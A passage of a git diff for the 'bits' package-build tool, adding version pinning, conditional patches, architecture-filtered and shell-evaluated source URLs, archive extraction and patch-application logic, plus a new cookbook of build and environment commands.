replacement[_carry] = spec[_carry] spec = replacement # Allows generalising the version based on the actual key provided spec["version"] = spec["version"].replace("%(key)s", key) @@ -1105,7 +1654,9 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, failedRequirements.update([spec["package"]]) spec["version"] = "failed" else: - disable.append(spec["package"]) + if spec["package"] not in _disable_set: + disable.append(spec["package"]) + _disable_set.add(spec["package"]) spec["disabled"] = list(disable) if spec["package"] in disable: @@ -1119,11 +1670,30 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, if not validDefaults: validDefaults = None # no valid default works for all current packages + # Collect version pins declared by this spec's requires / build_requires + # *before* the lists are reduced to plain package names by the filter step + # below. We pass the raw YAML lists so that _collect_version_pins can see + # the full "name = version[:matcher]" strings. + # Variables declared in the active --defaults profile(s) (`variables:` block) + # gate "(?VAR)" conditional requires, e.g. "- cuda:(?cuda)". + _default_vars = (defaults_meta or {}).get("variables") + # The depending package's own version, so a requirement can be gated on it + # via "name:version>=X" (matched in sort -V order). Use the recipe/defaults + # value resolved so far (dependent-declared pins are applied later and do + # not affect a package's own requires gating). + _own_version = spec.get("version") + _collect_version_pins( + architecture, defaults, + list(spec.get("requires", [])) + list(spec.get("build_requires", [])), + spec["package"], _version_pins, specs, + default_vars=_default_vars, version=_own_version, + ) + # For the moment we treat build_requires just as requires. - fn = lambda what: disabledByArchitectureDefaults(architecture, defaults, spec.get(what, [])) + fn = lambda what: disabledByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) spec["disabled"] += [x for x in fn("requires")] spec["disabled"] += [x for x in fn("build_requires")] - fn = lambda what: filterByArchitectureDefaults(architecture, defaults, spec.get(what, [])) + fn = lambda what: filterByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) spec["requires"] = [x for x in fn("requires") if x not in disable] spec["build_requires"] = [x for x in fn("build_requires") if x not in disable] if spec["package"] != "defaults-release": @@ -1134,7 +1704,26 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, dieOnError(not isinstance(spec["version"], str), "In recipe \"%s\": version must be a string" % p) spec["tag"] = spec.get("tag", spec["version"]) + # Apply any version pin registered for this package. The pin is set by a + # dependent that declared "- depname = version" in its requires list. We + # apply it here — after recipe defaults and defaults-*.sh overrides — so + # that the pin takes the highest precedence. Both "version" and "tag" are + # updated so that tarball URLs (%(version)s) and git checkouts (tag) both + # see the pinned value. + if spec["package"] in _version_pins: + _pin = _version_pins[spec["package"]] + debug("Applying version pin to %s: %s -> %s", spec["package"], + spec.get("version"), _pin) + spec["version"] = _pin + spec["tag"] = _pin spec["version"] = spec["version"].replace("/", "_") + # Resolve version-/arch-/defaults-conditional patches now that the version is + # final (after overrides + pins). filterPatches drops inactive entries and + # strips the :matcher, so the hash, checkout copy, $PATCHn env and patch + # application all see the same plain name[,checksum] list. + if "patches" in spec: + spec["patches"] = filterPatches(spec.get("patches"), architecture, defaults, + _default_vars, spec["version"]) spec["recipe"] = recipe.strip("\n") if spec["package"] in force_rebuild: spec["force_rebuild"] = True @@ -1152,9 +1741,18 @@ def getGeneratedPackages(configDir): for pkgdir in pkgDirs: dir_pkgs = {} for vp in [x.split(os.sep)[-2] for x in glob(join(pkgdir, "*", "packages.py"))]: + packages_py = join(pkgdir, vp, "packages.py") sys.path.insert(0, join(pkgdir, vp)) - pkg = __import__("packages") - pkg.getPackages(dir_pkgs, pkgdir) + try: + pkg = __import__("packages") + except (ImportError, SyntaxError) as e: + sys.path.pop(0) + dieOnError(True, "Failed to import generated-packages script %r: %s" % (packages_py, e)) + continue + try: + pkg.getPackages(dir_pkgs, pkgdir) + except Exception as e: + dieOnError(True, "Error running getPackages() in %r: %s" % (packages_py, e)) sys.modules.pop("packages") sys.path.pop(0) all_pkgs[pkgdir] = dir_pkgs diff --git a/bits_helpers/workarea.py b/bits_helpers/workarea.py index b7ebc538..3602a931 100644 --- a/bits_helpers/workarea.py +++ b/bits_helpers/workarea.py @@ -2,13 +2,18 @@ import errno import os import os.path +import re import shutil +import subprocess +import tarfile as _tarfile_mod import tempfile +import zipfile +from glob import glob from collections import OrderedDict from concurrent.futures import ThreadPoolExecutor, as_completed -from bits_helpers.log import dieOnError, debug, error, warning +from bits_helpers.log import dieOnError, debug, error, warning, ProgressPrint from bits_helpers.download import download from bits_helpers.utilities import call_ignoring_oserrors, symlink, short_commit_hash, asList from bits_helpers.checksum import parse_entry, check_file as check_file_checksum @@ -49,12 +54,21 @@ def logged_scm(scm, package, referenceSources, with codecs.open(os.path.join(referenceSources, FETCH_LOG_NAME), "a", encoding="utf-8", errors="replace") as logf: logf.write("%s command for package %r failed.\n" - "Command: %s %s\nIn directory: %s\nExit code: %d\n" % - (scm.name, package, scm.name.lower(), " ".join(command), directory, err)) + "Command: %s %s\nIn directory: %s\nExit code: %d\n" + "Output:\n%s\n" % + (scm.name, package, scm.name.lower(), " ".join(command), + directory, err, (output or "").strip() or "(no output)")) except OSError as exc: error("Could not write error log from SCM command:", exc_info=exc) - dieOnError(err, "Error during %s %s for reference repo for %s." % - (scm.name.lower(), command[0], package)) + # Surface git's own message inline so the failure is diagnosable without + # re-running at --debug (the full text is in fetch-log.txt). The captured + # output already includes stderr (getstatusoutput merges it). + _excerpt = " ".join((output or "").split()) + if len(_excerpt) > 300: + _excerpt = "…" + _excerpt[-300:] + dieOnError(err, "Error during %s %s for reference repo for %s.%s" % + (scm.name.lower(), command[0], package, + ("\n git: " + _excerpt) if _excerpt else "")) debug("Done %s %s for repository for %s", scm.name.lower(), command[0], package) return output @@ -176,10 +190,422 @@ def _verify_commit_pin(scm, spec, source_dir: str, enforce_mode: str) -> None: warning("%s", msg) +_TAR_EXTENSIONS = (".tar.gz", ".tgz", ".tar.bz2", ".tbz2", ".tar.xz", ".txz", ".tar.zst") +_ZIP_EXTENSIONS = (".zip",) + +def _split_arch_prefix(entry): + """Split ``(arch_pattern)url`` using balanced-parenthesis counting. + + Returns ``(arch_pattern, url)`` when *entry* starts with ``(`` and the + matching closing ``)`` is found, otherwise returns ``None``. This handles + patterns that themselves contain parentheses, such as regex lookaheads + like ``(?!osx)``, which the simpler ``[^)]*`` regex approach cannot. + """ + if not entry.startswith("("): + return None + depth = 0 + for i, c in enumerate(entry): + if c == "(": + depth += 1 + elif c == ")": + depth -= 1 + if depth == 0: + return entry[1:i], entry[i + 1:].lstrip() + return None + + +def _resolve_source_entry(entry, architecture): + """Resolve a source entry, returning ``(resolved_entry, include)`` pair. + + Two optional syntaxes are supported, mirroring the ``name:arch_regex`` + convention already used in ``requires`` / ``build_requires``: + + ``(arch_pattern)url[,checksum]`` + Include this source only when *architecture* matches *arch_pattern*. + The pattern is tried as a regex first (anchored at the start, so + ``(?!osx)`` excludes macOS and ``osx.*`` includes only macOS); if it + is not valid regex it is treated as a fnmatch glob. Patterns may + contain nested parentheses (e.g. regex lookaheads like ``(?!osx)``). + The resolved entry is the ``url[,checksum]`` part with the prefix + stripped. + + ``$(bash_expression)`` + Evaluate *bash_expression* in a bash subshell with ``ARCHITECTURE`` + set. The expression's stdout (stripped) is used as the URL. Useful + when the URL must be constructed from the architecture string itself + (e.g. for arch-specific pre-built binary tarballs). + The entry always matches; skip the arch-filter prefix to suppress the + source on unsupported architectures. + + Any other entry is returned unchanged with ``include=True``. + """ + # --- Architecture-conditional prefix: (arch_glob_or_regex)url --- + split = _split_arch_prefix(entry) + if split is not None: + import fnmatch + arch_pat, rest = split + # Patterns may be either POSIX-extended regexes (e.g. "(?!osx)", + # "slc[0-9].*") or simple glob wildcards (e.g. "*x86-64*linux*"). + # Try regex first; if the pattern is not valid regex, treat it as a + # glob pattern via fnmatch so recipe authors can use either style. + try: + include = bool(re.match(arch_pat, architecture)) + except re.PatternError: + include = fnmatch.fnmatch(architecture, arch_pat) + return rest, include + + # --- Inline bash evaluation: $(bash_expr) --- + if entry.startswith("$(") and entry.endswith(")"): + expr = entry[2:-1] + env = dict(os.environ) + env["ARCHITECTURE"] = architecture + try: + result = subprocess.check_output( + ["bash", "-c", "echo " + expr], env=env, text=True + ).strip() + except subprocess.CalledProcessError as exc: + raise OSError( + "Failed to evaluate source expression %r: %s" % (entry, exc) + ) + return result, True + + return entry, True + + +def _archive_prefix_depth(archive_path): + """Return the number of leading path components shared by all entries. + + Standard tarballs have one top-level directory (depth 1). Occasionally a + tarball embeds a two-level prefix such as ``package/version/file`` (depth 2) + — the PHOTOS 215.4 tarball (``photos/215.4/…``) is one example. Extracting + such an archive with ``--strip-components=1`` leaves the inner directory + (``215.4/``) in place, so subsequent ``patch -p1`` cannot find files it + expects at the source root. + + This function inspects the archive member list and returns the count of + leading path components that are *identical across every member* so that + callers can pass the exact ``--strip-components`` value needed to land the + source files directly in the destination directory. + + Returns 1 on any error or when the archive appears to be flat (no common + prefix), so existing behaviour is preserved for the common case. + """ + lower = archive_path.lower() + try: + if any(lower.endswith(ext) for ext in _TAR_EXTENSIONS): + # Use tarfile module so we can filter by member type (files only, + # not directories) — tar -tf output does not reliably include + # trailing slashes on directory entries. + with _tarfile_mod.open(archive_path) as tf: + file_paths = [m.name for m in tf.getmembers() if m.isfile()] + elif lower.endswith(".zip"): + with zipfile.ZipFile(archive_path) as zf: + file_paths = [m.filename for m in zf.infolist() + if not m.filename.endswith("/")] + else: + return 1 + + if not file_paths: + return 1 + + # Do NOT normalise away leading "./" — tar treats "." as a real path + # component when counting --strip-components, so "./pkg-1.0/file" has + # depth 2 (strips "." then "pkg-1.0"), while "pkg-1.0/file" has depth 1. + + split_paths = [p.split("/") for p in file_paths] + depth = 0 + # Stop one component before the end: the last component is the filename + # and must never be counted as a common prefix level. Without this guard, + # a single-file archive (or any archive where all files share a full path) + # would yield depth == full path length instead of the directory depth. + min_len = min(len(p) for p in split_paths) + for i in range(min_len - 1): + first = split_paths[0][i] + if all(p[i] == first for p in split_paths): + depth += 1 + else: + break + return max(depth, 1) + except Exception: + return 1 + + +def _extract_zip_strip(archive_path, dest_dir, strip=1): + """Extract a zip archive into dest_dir, stripping *strip* path components. + + This mirrors the behaviour of ``tar --strip-components=N``: every member + whose path starts with at least *strip* directory components has those + components removed before extraction. Members with fewer than *strip* + components (including the top-level directory entries themselves) are + skipped. + """ + with zipfile.ZipFile(archive_path) as zf: + for member in zf.infolist(): + parts = member.filename.split("/", strip) + if len(parts) <= strip or not parts[strip]: + continue + member.filename = parts[strip] + zf.extract(member, dest_dir) + + +def _patchset_fingerprint(spec, patches_dir): + """Return a stable hex digest of the recipe's patch set (each patch's name and + full content, in declaration order), or None when the package has no patches. + Patch files are read from *patches_dir*. + + Used to detect when a previously-patched source tree must be re-extracted + because the patch *content* changed — bits keys the source directory by + package version/commit, not by patch content, so without this an edited patch + would silently have no effect on rebuild (see _wipe_source_if_patchset_changed). + """ + patches = spec.get("patches") + if not patches: + return None + import hashlib + h = hashlib.sha256() + for patch_entry in patches: + patch_name, _ = parse_entry(patch_entry) + h.update(patch_name.encode("utf-8", "replace")) + h.update(b"\0") + with open(os.path.join(patches_dir, patch_name), "rb") as fh: + h.update(fh.read()) + h.update(b"\0") + return h.hexdigest() + + +def _wipe_source_if_patchset_changed(spec, source_dir): + """Remove source_dir unless it can be guaranteed pristine-then-correctly-patched. + + Patches must always be applied to a freshly-extracted tree. The source dir is + shared across builds of the same version, _apply_patches skips re-patching when + the ``.bits_patched`` sentinel is present, and _extract_source_archives skips + re-extraction when ``.bits_extracted`` is present. Wipe (forcing a clean + re-extract + re-apply) when either: + + * ``.bits_patched`` records a DIFFERENT patch-set fingerprint than the current + patches — i.e. a patch file was edited (a legacy/empty sentinel has no + fingerprint and counts as different, so old trees self-heal); or + * there is NO ``.bits_patched`` sentinel but the tree was already extracted + (``.bits_extracted`` present). That means a previous patch run did not + complete (``.bits_patched`` is only written on full success), leaving a + partially/already-patched tree. Re-running ``patch`` on it yields + "Reversed (or previously applied) patch detected" and corruption, so the + tree must be re-extracted clean first. + """ + import json + patched = os.path.join(source_dir, ".bits_patched") + extracted = os.path.join(source_dir, ".bits_extracted") + current = _patchset_fingerprint(spec, os.path.join(spec["pkgdir"], "patches")) + if os.path.exists(patched): + try: + recorded = json.loads(open(patched).read()).get("patchset") + except Exception: + recorded = None # legacy empty sentinel, or unreadable → treat as changed + if recorded == current: + return # already patched with the same patch set: reuse as-is + reason = "patch set changed (recorded %r, now %r)" % (recorded, current) + elif os.path.exists(extracted): + reason = ("source was extracted but not successfully patched " + "(no .bits_patched); a previous patch run likely failed partway") + else: + return # pristine / not yet extracted: nothing to wipe + debug("Wiping %s for %s to re-extract and re-patch from pristine sources: %s", + source_dir, spec.get("package", "?"), reason) + shutil.rmtree(source_dir, ignore_errors=True) + + +def _apply_patches(spec, source_dir): + """Apply patches listed in spec['patches'] to source_dir using patch -p1. + + Patch files are already present in source_dir (placed there by + checkout_sources before source extraction / git checkout). This function + runs ``patch -p1`` for each one in declaration order. + + A ``.bits_patched`` sentinel file is written after a successful run so that + repeated invocations (e.g. a resumed incremental build) skip re-application + and do not fail with "already applied" errors. + """ + if not spec.get("patches"): + return + + # Opt-out: when auto-patching is disabled (recipe header `auto_patch: false`, + # the global --no-auto-patch flag, or `auto_patch: false` in the active + # defaults), bits stages the patch files in $SOURCEDIR and exports + # $PATCH0..$PATCH_COUNT but does NOT apply them — the recipe body applies them + # itself (e.g. via the bits_apply_patches helper). No sentinel is written, so + # the recipe owns idempotency. Default (key absent) is True: unchanged. + if not spec.get("auto_patch", True): + debug("Auto-patching disabled for %s; %d patch file(s) staged in %s for the " + "recipe to apply", spec.get("package", "?"), + len(spec.get("patches") or []), source_dir) + return + + sentinel = os.path.join(source_dir, ".bits_patched") + if os.path.exists(sentinel): + return + + import logging + _patch_checksums = spec.get("patch_checksums") or {} + pkg_label = "%s@%s" % (spec.get("package", "?"), spec.get("version", "?")) + progress = ProgressPrint("Patching %s" % pkg_label) + # Emit the header immediately so the package name is visible before any + # output from patch(1) — important when a failure dumps verbose text. + progress("Patching %s", pkg_label) + for patch_entry in spec["patches"]: + patch_name, _ = parse_entry(patch_entry) + patch_path = os.path.join(source_dir, patch_name) + debug("Applying patch %s in %s", patch_name, source_dir) + # In non-debug mode suppress patch(1) stdout/stderr so it doesn't leak + # into the progress display; capture it so we can include it in the error + # message on failure. + capture = not logging.getLogger().isEnabledFor(logging.DEBUG) + pipe = subprocess.PIPE if capture else None + try: + result = subprocess.run( + ["patch", "-p1", "--batch", "--input", patch_path], + cwd=source_dir, + stdout=pipe, stderr=subprocess.STDOUT if capture else None, + check=True, + ) + if capture: + debug("patch output for %s:\n%s", patch_name, + result.stdout.decode(errors="replace")) + except subprocess.CalledProcessError as exc: + patch_out = exc.output.decode(errors="replace") if exc.output else "" + # Collect any .rej files left behind by patch so the developer can see + # exactly which hunks failed without having to dig into the build tree. + rej_files = sorted(glob(os.path.join(source_dir, "**", "*.rej"), recursive=True)) + rejects = "" + for rej in rej_files: + try: + with open(rej) as fh: + rejects += "\n--- %s ---\n%s" % (os.path.relpath(rej, source_dir), fh.read()) + except OSError: + rejects += "\n--- %s --- (could not read)\n" % os.path.relpath(rej, source_dir) + progress.end("failed", error=True) + dieOnError(True, "Patch %s failed to apply for %s.%s%s" % ( + patch_name, spec.get("package", "?"), + ("\n" + patch_out.strip()) if patch_out.strip() else "", + rejects if rejects else "\n(no .rej files found — check patch format/strip level)", + )) + return # sentinel must not be written on failure (also guards mocked dieOnError in tests) + + progress.end("done") + # Record the patch-set fingerprint so a later build can detect a changed patch + # set and re-extract (see _wipe_source_if_patchset_changed). + import json + with open(sentinel, "w") as _sf: + json.dump({"patchset": _patchset_fingerprint(spec, source_dir)}, _sf) + + +def _extract_source_archives(source_dir, expected_names=None): + """Extract any source archives found directly inside source_dir. + + After ``download()`` places a release tarball (e.g. ``gsl-2.8.tar.gz``) in + ``source_dir``, the build recipe expects an *unpacked* source tree there — + not a bare archive file. This function scans source_dir for known archive + types and extracts each one, stripping the top-level directory that release + tarballs almost universally contain (``--strip-components=1`` for tar, + equivalent logic for zip). + + When *expected_names* is given (the set of basenames bits downloaded for the + current spec) extraction is restricted to those files. This keeps a stale + archive left over from a previous recipe revision — e.g. ``foo-1.1.tar.gz`` + lingering in a version directory after the ``sources:`` URL was bumped to + ``foo-1.1.atlas1.tar.gz`` — from being picked up and aborting the build. The + source directory is keyed by version and shared across rebuilds, so such + leftovers are common. ``expected_names=None`` preserves the legacy "extract + everything" behaviour for callers that do not know the download set. + + A ``.bits_extracted`` sentinel file is written after a successful run so + that repeated invocations (e.g. a resumed build) skip re-extraction and do + not clobber a partially-built tree. The sentinel records the strip depth + used for each archive so that a stale extraction (e.g. produced by older + bits code that hardcoded --strip-components=1) is detected and replaced + when the required depth has changed. + """ + import json + sentinel = os.path.join(source_dir, ".bits_extracted") + + # Guard against a caller that never created source_dir (e.g. empty + # active_sources that bypassed makedirs, or a future code path change). + if not os.path.isdir(source_dir): + return + + # Compute the strip depths we would use for every archive present now. + # We do this before consulting the sentinel so we can compare. + expected = set(expected_names) if expected_names is not None else None + archives = [] + for entry in sorted(os.listdir(source_dir)): + filepath = os.path.join(source_dir, entry) + if not os.path.isfile(filepath): + continue + if expected is not None and entry not in expected: + debug("Skipping %s: not among the sources downloaded for this spec (%s)", + entry, ", ".join(sorted(expected)) or "") + continue + lower = entry.lower() + if any(lower.endswith(ext) for ext in _TAR_EXTENSIONS) or \ + any(lower.endswith(ext) for ext in _ZIP_EXTENSIONS): + archives.append((entry, filepath, _archive_prefix_depth(filepath))) + + if not archives: + return # nothing to extract + + # Check whether a sentinel already exists and whether its recorded strips + # match what we would use today. A mismatch means the previous extraction + # used a different (wrong) strip depth — invalidate the sentinel so we + # re-extract with the correct depth. + if os.path.exists(sentinel): + try: + recorded = json.loads(open(sentinel).read()) + recorded_strips = recorded.get("strips", {}) + except (OSError, ValueError, KeyError): + recorded_strips = {} + current_strips = {entry: strip for entry, _, strip in archives} + if recorded_strips == current_strips: + return # sentinel is valid; skip re-extraction + debug("Stale extraction sentinel for %s (recorded strips %s, now %s): re-extracting", + source_dir, recorded_strips, current_strips) + os.unlink(sentinel) + + for entry, filepath, strip in archives: + lower = entry.lower() + debug("Extracting %s into %s (--strip-components=%d)", entry, source_dir, strip) + try: + if any(lower.endswith(ext) for ext in _TAR_EXTENSIONS): + subprocess.check_call( + ["tar", "xf", filepath, "--strip-components=%d" % strip, "-C", source_dir] + ) + else: + _extract_zip_strip(filepath, source_dir, strip=strip) + except (subprocess.CalledProcessError, zipfile.BadZipFile, OSError) as exc: + # A corrupt or wrong-format archive must fail this package cleanly rather + # than crash the whole run with a traceback. The most common cause is a + # download that returned an error/HTML page instead of the tarball (a + # dead or mistyped source URL), or a truncated download. + dieOnError(True, + "Failed to unpack source archive '%s' (%s). It is not a valid " + "archive -- the download may be corrupt or the source URL may " + "have returned an error page. Remove %s and re-run, and verify " + "the package's sources: URL." % (entry, exc, filepath)) + + strips_map = {entry: strip for entry, _, strip in archives} + with open(sentinel, "w") as fh: + json.dump({"strips": strips_map}, fh) + + def checkout_sources(spec, work_dir, reference_sources, containerised_build, - enforce_mode="off", sync_helper=None, parallel_sources=1): + enforce_mode="off", sync_helper=None, parallel_sources=1, + architecture=None): """Check out sources to be compiled, potentially from a given reference. + ``architecture`` is the raw (pre-combined) architecture string used to + filter arch-conditional ``sources:`` entries. When ``None`` the value is + read from the ``ARCHITECTURE`` environment variable (which is only set + inside the build shell script, *not* in the Python process). Callers + should always pass the value explicitly. + ``sync_helper`` is an optional sync-backend instance (from ``bits_helpers.sync``). When provided it is forwarded to every ``download()`` call so that source archives are fetched from / archived @@ -208,6 +634,12 @@ def scm_exec(command, directory=".", check=True): source_dir = os.path.join(source_parent_dir, short_commit_hash(spec)) os.makedirs(source_parent_dir, exist_ok=True) + # For tarball sources, if this shared source tree was already patched with a + # different patch set, wipe it so it is re-extracted and re-patched cleanly. + # (Scoped to tarball sources; git checkouts handle their own working tree.) + if spec.get("sources") and spec.get("patches") and os.path.isdir(source_dir): + _wipe_source_if_patchset_changed(spec, source_dir) + if spec["commit_hash"] != spec["tag"]: symlink(spec["commit_hash"], os.path.join(source_parent_dir, spec["tag"].replace("/", "_"))) @@ -224,20 +656,59 @@ def scm_exec(command, directory=".", check=True): shutil.copyfile(os.path.join(spec["pkgdir"], 'patches', patch_name), dst) check_file_checksum(dst, patch_name, patch_checksum, enforce_mode) if spec.get("sources"): + # Resolve arch-conditional / bash-evaluated source entries before + # downloading. ``architecture`` is passed in by the caller (build.py + # knows raw_architecture); fall back to the env var for backwards + # compatibility with tests and external callers, then to "". + _arch = architecture or os.environ.get("ARCHITECTURE", "") + _fmt = {"name": spec["package"], "version": spec["version"]} + active_sources = [] + for s in spec["sources"]: + resolved, include = _resolve_source_entry(s, _arch) + if not include: + debug("Skipping source %r: architecture %r does not match", s, _arch) + continue + # Substitute %(name)s and %(version)s in the resolved URL so recipes + # can write concise entries like: + # https://example.com/%(name)s-%(version)s.tar.gz + try: + resolved = resolved % _fmt + except (KeyError, ValueError): + pass # leave the string as-is if substitution fails + active_sources.append(resolved) + + # Fail early with a clear message when no source entry matched the current + # architecture. Without this check the build would silently continue with + # an empty source directory and fail deep inside Configure/Make with a + # confusing error unrelated to the real cause (pattern mismatch). + if not active_sources: + dieOnError(True, + "No source URL matched architecture %r for %s@%s.\n" + " Defined source entries:\n%s" % ( + _arch, spec["package"], spec["version"], + "".join(" %s\n" % s for s in spec["sources"]))) + + # Ensure source_dir exists before any download attempt. download() only + # creates the destination directory on a successful download (mkdir -p is + # part of the cp command on line 452 of download.py); an empty + # active_sources list or a failed download would leave source_dir absent, + # causing _extract_source_archives to ENOENT on os.listdir. + os.makedirs(source_dir, exist_ok=True) + def _download_one(s): url, inline_checksum = parse_entry(s) src_checksum = _source_checksums.get(url) or inline_checksum download(url, source_dir, work_dir, checksum=src_checksum, enforce_mode=enforce_mode, sync_helper=sync_helper) - if parallel_sources <= 1 or len(spec["sources"]) <= 1: + if parallel_sources <= 1 or len(active_sources) <= 1: # Sequential path: preserves original behaviour for the common case. - for s in spec["sources"]: + for s in active_sources: _download_one(s) else: # Parallel path: submit all source downloads and re-raise the first error. with ThreadPoolExecutor(max_workers=parallel_sources) as pool: - futures = {pool.submit(_download_one, s): s for s in spec["sources"]} + futures = {pool.submit(_download_one, s): s for s in active_sources} first_exc = None for fut in as_completed(futures): exc = fut.exception() @@ -245,6 +716,17 @@ def _download_one(s): first_exc = exc if first_exc is not None: raise first_exc + # Unpack any downloaded archives so the build script sees an unpacked + # source tree at $SOURCEDIR rather than a bare archive file. + # _extract_source_archives() detects stale sentinels (wrong strip depth + # from older bits) by comparing recorded vs. current strip depths, so no + # manual sentinel removal is needed here for any package type. We restrict + # it to the basenames we actually downloaded for this spec so a stale + # archive from a previous recipe revision sharing the version directory is + # ignored rather than aborting the build. + _expected_archives = {parse_entry(s)[0].rsplit("/", 1)[-1] for s in active_sources} + _extract_source_archives(source_dir, expected_names=_expected_archives) + _apply_patches(spec, source_dir) elif not spec.get("source"): # There are no sources (neither tarball URLs nor a git repo), so just # create an empty SOURCEDIR. Also handles the Makeflow serialisation path @@ -267,12 +749,27 @@ def _download_one(s): scm_exec(scm.fetchCmd(spec["source"], tag_ref), source_dir) scm_exec(scm.checkoutCmd(spec["tag"]), source_dir) _verify_commit_pin(scm, spec, source_dir, enforce_mode) + _apply_patches(spec, source_dir) else: # Sources are a relative path or URL and don't exist locally yet, so clone # and checkout the git repo from there. + # Safety: verify source_dir is inside work_dir before any destructive + # operation — an empty or malformed commit hash could otherwise cause + # source_dir to collapse to a parent directory. + _safe_work_dir = os.path.abspath(work_dir) + os.sep + _safe_source_dir = os.path.abspath(source_dir) + dieOnError(not _safe_source_dir.startswith(_safe_work_dir), + "source_dir '%s' is outside work_dir '%s' — refusing to remove " + "it to prevent accidental data loss." % (source_dir, work_dir)) + # Safety: refuse to clone over an existing git repository. + dieOnError(os.path.exists(os.path.join(source_dir, ".git")), + "source_dir '%s' already contains a .git repository; refusing to " + "clone '%s' over it to prevent clobbering an existing checkout." + % (source_dir, spec.get("source", "?"))) shutil.rmtree(source_dir, ignore_errors=True) scm_exec(scm.cloneSourceCmd(spec["source"], source_dir, spec.get("reference"), usePartialClone=True)) scm_exec(scm.setWriteUrlCmd(spec.get("write_repo", spec["source"])), source_dir) scm_exec(scm.checkoutCmd(spec["tag"]), source_dir) _verify_commit_pin(scm, spec, source_dir, enforce_mode) + _apply_patches(spec, source_dir) diff --git a/docs/COOKBOOK.md b/docs/COOKBOOK.md new file mode 100644 index 00000000..0aaa57a1 --- /dev/null +++ b/docs/COOKBOOK.md @@ -0,0 +1,494 @@ +# Bits — Cookbook + +> **See also:** [User Guide](USERGUIDE.md) · [Reference Manual](REFERENCE.md) · [Workflows](WORKFLOWS.md) + +Practical recipes for common bits tasks. Each entry is self-contained; refer to the [User Guide](USERGUIDE.md) for background and to the [Reference Manual](REFERENCE.md) for complete flag documentation. + +--- + +### Build a complete stack from scratch + +```bash +bits doctor ROOT # verify system requirements first +bits build ROOT # build everything +bits enter ROOT/latest # drop into the built environment +``` + +### Inspect the dependency graph before building + +```bash +bits deps --outgraph deps.pdf ROOT # requires Graphviz +``` + +Useful for understanding which packages will be built and in what order before committing to a long build. The PDF shows the full transitive dependency tree rooted at the requested package. + +### Build for a different OS or architecture (Docker) + +```bash +# Different Linux version +bits build --docker --architecture ubuntu2004_x86-64 ROOT + +# Cross-compile for ARM64 on an x86-64 host (requires QEMU binfmt handlers) +bits build --docker --architecture slc9_aarch64 MyAnalysis +``` + +The `--architecture` string selects both the OS image and the target CPU. When the target architecture differs from the host, bits automatically injects the matching Docker `--platform` flag so QEMU handles emulation transparently. See [§22.2 Cross-compilation via QEMU](REFERENCE.md#222-cross-compilation-via-qemu) for QEMU setup details. + +### Develop and iterate on a single package + +```bash +bits init libfoo # create a writable source checkout +# … edit source in the libfoo/ directory … +bits build libfoo # rebuilds only libfoo (devel mode) +eval "$(bits load libfoo/latest)" +``` + +### Debug a failed build + +```bash +bits build --debug --keep-tmp my_package +# Build directory path is printed in the log +cd sw/BUILD/my_package-*/ +cat log +# Re-run the failing command manually to iterate quickly +``` + +### Use the built environment + +**Interactive sub-shell** — opens a new shell with all modules loaded; the prompt changes so it is clear you are inside a bits environment: + +```bash +bits enter ROOT/latest +root -b +exit # return to your normal shell +``` + +**Single command** — loads modules and exec's the command without spawning an interactive shell; exit code passes through unchanged: + +```bash +bits setenv ROOT/v6-30 -c root -b +``` + +**Persistent load/unload in the current shell** — add the shell helper to `~/.bashrc`, `~/.zshrc`, or `~/.kshrc` once: + +```bash +BITS_WORK_DIR=/path/to/sw +eval "$(bits shell-helper)" +``` + +Then in any shell session: + +```bash +bits load ROOT/latest,Python/3.11-1 # load one or more modules +bits unload ROOT # unload (version can be omitted) +bits list # show currently loaded modules +``` + +Without `shell-helper`, use `eval` manually: `eval "$(bits load ROOT/latest)"`. + +### Override a package version without editing the recipe + +Defaults profiles can pin package versions globally without modifying recipe files. The `overrides:` block is a per-package patch merged into the spec after the recipe is parsed, so it can set `version`, `tag`, `source`, or any other field — and it takes precedence over the recipe's own values: + +```yaml +# In defaults-myproject.sh +overrides: + root: + version: "6.32.02" + tag: "v6-32-02" # tarball URL %(version)s and the git tag both follow + boost: + version: "1.85.0" +``` + +Then build with: + +```bash +bits build --defaults release::myproject MyStack +``` + +Keys are matched case-insensitively as `re.fullmatch` regexes, so `root` and `ROOT` both work and patterns such as `clhep|geant4` are valid. This is the recommended way to pin versions: useful for shared recipes where different projects need different versions, or for emergency pinning when a new version breaks downstream packages. + +### Pin a dependency's version from within a recipe + +A recipe can pin the version of one of its dependencies directly in the `requires` / `build_requires` list using the `name = version` form. The pin updates both `version` and `tag` of the named dependency: + +```yaml +package: myanalysis +version: "1.0" +requires: + - root = 6.32.02 # pin root for this whole build + - boost = 1.85.0:slc7.* # pin only on slc7 architectures + - vdt = v0.4.4:defaults=dev4 # pin only under --defaults dev4 + - fmt # plain dependency, no pin +build_requires: + - cmake +--- +``` + +The optional `:matcher` suffix is the same architecture / `defaults=` condition used for conditional dependencies, so a pin can be made arch- or profile-specific. Only **one** version pin per dependency is allowed across the whole graph — two recipes pinning the same package to different versions is a fatal error. For most cases prefer the defaults `overrides:` block above; the in-recipe pin is handy when the constraint logically belongs to the consuming package. + +### Pin the repository-provider (recipe-repo) version + +A [repository provider](REFERENCE.md#13-repository-provider-feature) such as `lcg.bits` pulls an entire recipe repository from git. Which snapshot it pulls is controlled by the provider recipe's `tag:` field — a branch, tag, or commit hash: + +```yaml +# bits-providers/lcg.bits.sh +package: lcg.bits +version: "1" +tag: "LCG_106" # branch, tag, or commit; defaults to the repo's main branch +provides_repository: true +source: https://github.com/bitsorg/lcg.bits +--- +``` + +To choose the snapshot at invocation time without editing the recipe, append `@` to the bits-providers URL: + +```bash +export BITS_PROVIDERS="https://github.com/bitsorg/bits-providers@LCG_106" +# or per-invocation: +bits build --providers https://github.com/bitsorg/bits-providers@LCG_106 LCG +``` + +The provider's commit hash is folded into every dependent package's build hash, so changing the provider version triggers a rebuild of everything sourced from it. Note that provider repositories are cloned *before* defaults `overrides:` are applied, so an `overrides:` entry does **not** change which provider snapshot is fetched — use the `tag:` field or the `@` URL suffix instead. + +### Use a private recipe repository alongside the defaults + +Set `BITS_PATH` to prepend a custom repository to the search path: + +```bash +BITS_PATH=myorg.bits bits build MyPackage +``` + +Or configure it persistently: + +```bash +bits init --config-dir myorg.bits MyPackage +``` + +Useful for building private packages that depend on public recipes, or for maintaining a vendor-specific overlay (e.g. a fork of `gcc` with custom patches) without modifying the main recipe repository. + +### Set up a project with a persistent binary store + +Instead of passing `--remote-store` on every `bits build` 